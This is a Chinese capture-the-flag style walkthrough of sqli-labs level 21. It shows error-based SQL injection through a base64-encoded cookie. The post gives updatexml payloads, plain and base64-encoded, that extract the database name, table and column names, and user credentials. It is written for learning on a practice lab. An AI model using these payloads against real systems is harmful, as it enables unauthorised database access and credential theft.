sqli-labs关卡21(基于cookie被base64编码的报错盲注)通关思路

---

前言

此文章只用于学习和反思巩固sql注入知识，禁止用于做非法攻击。注意靶场是可以练习的平台，不能随意去尚未授权的网站做渗透测试！！！

---

一、回顾上一关知识点

上一关是一个基于http头部中cookie的报错注入，这一关不同的是cookie被base64编码了。

二、靶场需要了解的前置知识

• 1、怎么判断是base64编码？

1、什么是base64编码？

Base64，就是包括小写字母a-z、大写字母A-Z、数字0-9、符号"+“、”/"一共64个字符的字符集，（任何符号都可以转换成这个字符集中的字符，这个转换过程就叫做base64编码。Base64由于以上优点被广泛应用于计算机的各个领域，然而由于输出内容中包括两个以上“符号类”字符（+,
/, =)，不同的应用场景又分别研制了Base64的各种“变种”。为统一和规范化Base64的输出，Base62x被视为无符号化的改进版本。

我们只要知道怎么判断是不是base64编码就行，字符串只可能包含A-Z，a-z，0-9，+，/，=字符，而且一般后面有等号，所以很好分别了。

三、靶场第二十一关通关思路

• 1、判断注入点
• 2、爆数据库名
• 3、爆数据库表
• 4、爆数据库列
• 5、爆数据库关键信息

1、判断注入点

这里我们有了前几关的思路，我们登录测试账号admin/admin
发现和上一关一样，有cookie回显，我们也是可以猜测是cookie与数据库交互然后输出到web界面了。但是发现cookie值有等于号，是典型的base64编码形式。(如图所示)

也就是说cookie值是被base编码后输出了，如果我们要拼接sql语句的话就得base64编码，和它保持一个格式。看源代码也是发现cookie被base64编码后再解码带入数据库中最后再编码输出到web页面，由于在解码带入数据库的过程中没有严格过滤导致有sql注入。也发现uname和passwd被转义了。(图1-3是base64编码解码，图四是uname和passwd被转义)

由于这里是先编码再解码与数据库交互，所以我们sql语句得自己编码。这里我们先到base64编码网站先把

YWRtaW4=

试着去解码发现是admin。这也是判断是不是base64编码的方法。

这里我们开始找注入点，构造payload。前是原始攻击语句，后是base64编码后的语句。

admin and 1=1

YWRtaW4gYW5kIDE9MQ==

admin and 1=2

YWRtaW4gYW5kIDE9Mg==

发现页面没有异常，排除数字型，这里再试一试单引号。发现报错

admin'

YWRtaW4n

报错信息为

Issue with your mysql: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near ‘‘admin’’) LIMIT 0,1’ at line 1

通过报错信息可以知道是一个单引号加括号的闭合。
所以最终payload为

admin')#

YWRtaW4nKSM=

因为发现之会回显报错信息，不会回显我们要查询的内容，即不能用联合查询。这里用报错注入。

2、爆数据库名

注入语句为

admin') and updatexml(1,concat(0x3a,(select database()),0x3a),1)#

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDNhKSwxKSM=

得到数据库名字

3、爆数据库表

注入语句为

admin') and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBsaW1pdCAzLDEpLDB4M2EpLDEpIw==

得到关键数据库表名users

4、爆数据库列

注入语句为

admin') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSJ1c2VycyIgbGltaXQgMSwxKSwweDNhKSwxKSM=

admin') and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIGFuZCB0YWJsZV9uYW1lPSJ1c2VycyIgbGltaXQgMiwxKSwweDNhKSwxKSM=

得到关键数据库列username，password

5、爆数据库关键信息

注入语句为

admin') and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCBwYXNzd29yZCBmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHgzYSksMSkj

admin') and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#

YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4M2EsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHgzYSksMSkj

得到账号密码

---

总结

这一关利用base64编码进行绕过，因为其cookie值被带入数据库中没有严格过滤，只经过base64的编码解码。